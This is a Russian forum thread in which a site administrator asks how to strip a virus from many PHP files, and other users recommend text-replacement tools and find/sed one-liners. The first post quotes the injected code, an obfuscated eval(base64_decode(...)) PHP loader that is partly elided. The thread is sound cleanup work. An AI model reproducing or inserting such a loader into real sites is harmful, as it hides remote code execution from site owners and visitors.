Автоматический поиск и замена в файлах

Тема в разделе "Администрирование серверов", создана пользователем Roman777, 14 ноя 2013.

Модераторы: mefish, stooper
  1. Roman777

    Roman777 Постоялец

    Регистр.:
    29 мар 2007
    Сообщения:
    133
    Симпатии:
    19
    Господа. Подскажите, как победить вирус. Нужно удалить из множества .php файлов в различных директориях вот этот такой код, вместе с тегами <?php и ?>

    Код:
    <?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc
    ******
    uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l(hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o(\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9))); ");}?>
     
  2. JohnLemon

    JohnLemon Постоялец

    Регистр.:
    3 окт 2013
    Сообщения:
    52
    Симпатии:
    3
    Можно попробовать программы для замены текста типа EasyReplaceText найти все файлы с этим текстом можно обычным Total Commander в нем есть поиск файлов по тексту в них.
     
  3. yaski

    yaski

    Регистр.:
    21 фев 2010
    Сообщения:
    474
    Симпатии:
    277
  4. JohnLemon

    JohnLemon Постоялец

    Регистр.:
    3 окт 2013
    Сообщения:
    52
    Симпатии:
    3
    Text Replacer еще интересный вариант но он в роде платный, может искать в папках и подпапках
     
  5. JohnLemon

    JohnLemon Постоялец

    Регистр.:
    3 окт 2013
    Сообщения:
    52
    Симпатии:
    3
  6. esche

    esche

    Регистр.:
    9 авг 2009
    Сообщения:
    360
    Симпатии:
    243
    Notepad++ (а также sublime, dreamweaver и куча других редакторов) поддерживают замену в каталоге
    find + sed (или perl -i) из шелла.
     
  7. Roman777

    Roman777 Постоялец

    Регистр.:
    29 мар 2007
    Сообщения:
    133
    Симпатии:
    19
    есть ли у кого пример как это сделать из шела?
     
  8. efs

    efs SEO оптимизатор дискрипторов одностраничных сайтов

    Moderator
    Регистр.:
    20 ноя 2009
    Сообщения:
    824
    Симпатии:
    475
    Код:
     find . -name «*.php» -exec sed -i '/<\?php\ /\*ve[\w\W]*?\);}\?>/d' '{}' \;
    примерно так. если с экранами не напутал
     
    Roman777 нравится это.
  9. Liberus

    Liberus

    Регистр.:
    22 дек 2012
    Сообщения:
    182
    Симпатии:
    21
    Качай весь сайт к себе на винт, скачиваешь программу Text Replacer и выбираешь папку с файлами. В поле вставляешь заменяемый текст и все.
     
  10. Roman777

    Roman777 Постоялец

    Регистр.:
    29 мар 2007
    Сообщения:
    133
    Симпатии:
    19
    скобки заменил на двойные, но всеравно выдает ошибку :

    sed: 1: "./file.php": invalid command code .

    Хорошо отрабатывает такой вариант:
    find . -name \*.php -exec sed -i -r '/determinator/d' {} \;
    , но он удаляет сразу всю строку, а мне нужно оставить <?php
     
    Последнее редактирование: 15 ноя 2013